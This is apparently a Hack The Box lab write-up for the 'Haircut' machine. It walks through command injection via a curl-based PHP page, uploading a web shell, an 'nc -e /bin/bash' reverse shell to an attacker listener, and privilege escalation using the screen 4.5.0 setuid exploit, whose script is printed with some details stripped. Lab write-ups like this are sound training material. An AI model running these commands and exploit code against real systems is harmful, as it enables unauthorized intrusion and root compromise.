This is a relatively easy box. Figured I'd do it since it was on the TJ Null list of OSCP-like boxes.


We start with Nmap:

nux@KakaLinpoop:~/Documents/htb/boxes/haircut/nmap$ cat scriptScan 
# Nmap 7.91 scan initiated Wed Dec  2 22:44:28 2020 as: nmap -T4 -sC -p 22,80 -oN scriptScan
Nmap scan report for
Host is up (0.086s latency).

22/tcp open  ssh
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http
|_http-title:  HTB Hairdresser 

# Nmap done at Wed Dec  2 22:44:31 2020 -- 1 IP address (1 host up) scanned in 3.72 seconds

All we got was port 80 and 22. As you probably know by now, I rarely bother with SSH if I don't have creds. At most, I run Netcat in hopes of getting some OS information.

Port 22 – SSH

Netcat can give me some useful information sometimes. It did here:

nux@KakaLinpoop:~/Documents/htb/boxes/haircut/gobuster$ nc -v 22
Ncat: Version 7.91 ( )
Ncat: Connected to
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2

Seems it's running Ubuntu.

Port 80 – HTTP

Checking it out, we see the above. An image of a lady.

We can try to view source:

<!DOCTYPE html>

<title> HTB Hairdresser </title>

<center> <br><br><br><br>
<img src="bounce.jpg" height="750" width="1200" alt="" />

Not much there. Just a reference to the image.


We can run GoBuster while we do some manual investigation. I usually look for txt files and when checking a Linux box, I check out .sh and .php, just in case we find something interesting:

gobuster dir -u -t 50 -x txt,sh,php -w /usr/share/wordlists/dirb/common.txt -o commonList.txt

We will find the following two directories:

/uploads (Status: 301)
/exposed.php (Status: 200)

I run further enumeration on the uploads directory, but don't find anything.


We check out exposed.php, and see the this:

Clicking "go" shows us the folowing:

The form field contains the following:


Let me see if I can attempt command execution with ; and adding ls.

I get an error message:

Requesting Site...
; is not a good thing to put in a URL 

I play around with input and eventually attempted -. This gave me something useful, plus, it suddenly makes sense when I see the image says "Carrie Curl."

Requesting Site...
curl: option -: is unknown curl: try 'curl --help' or 'curl --manual' for more information 

Oh. It's running curl, huh? We can download files.

Getting a Shell

We will use Python HTTP server and throw phpbash on it. Let's run the following on exposed.php while serving up phpbash: -o ./uploads/phpbash.php
Requesting Site...
bash is not a good thing to put in a URL 

Well, let's change the name and try again: -o ./uploads/derpshell.php
Requesting Site...
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 11251 100 11251 0 0 68775 0 --:--:-- --:--:-- --:--:-- 69024 

It worked. Now we go to the following URL:

Now I set up my listener:

nc -nvlp 31337

Run the reverse shell:

nc -e /bin/bash 31337

And we get a connection:

nux@KakaLinpoop:~/Documents/htb/boxes/haircut/gobuster$ nc -nvlp 31337
Ncat: Version 7.91 ( )
Ncat: Listening on :::31337
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from

Python 3 is installed:

which python
which python3

Run the following:

/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

We use the stty raw echo trick to upgrade our shell, and now we have something usable.

We can get user pretty easily:

www-data@haircut:/home/maria/Desktop$ pwd
www-data@haircut:/home/maria/Desktop$ ls
www-data@haircut:/home/maria/Desktop$ cat user.txt 

Path to Root

I did some basic enumeration and eventually opted to run Linux Smart Enumeration.

Here's what stands out:

[!] fst020 Uncommon setuid binaries........................................ yes!

Screen, huh?

Let's see what we can do. I eventually find out that there is a privesc with screen version 4.5.0. I take a look at this POC, but can't quite get it to do what I want:

Turns out we are on the right track. That's the vulnerable software, but it will take a little bit of work. We will use this 'sploit:

# setuid screen v4.5.0 local root exploit
# abuses overwriting to get root.
# bug:
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    printf("[+] done!\n");
gcc -fPIC -shared -ldl -o /tmp/ /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    execvp("/bin/sh", NULL, NULL);
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ file..."
cd /etc
umask 000 # because
screen -D -m -L echo -ne  "\x0a/tmp/" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 

Running it on the target machine didn't work. I had to run it locally, and I wasn't able to run it in its script form. (That, or I just derp'd it and did it wrong.) Anyway, I had to basically run it line by line then copy the created binaries over to the target machine.

Then I had to manually run those last few lines on the target:

cd /etc
umask 000 # because
screen -D -m -L echo -ne  "\x0a/tmp/" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 

This gave me root:

www-data@haircut:/etc$ /tmp/rootshell
# whoami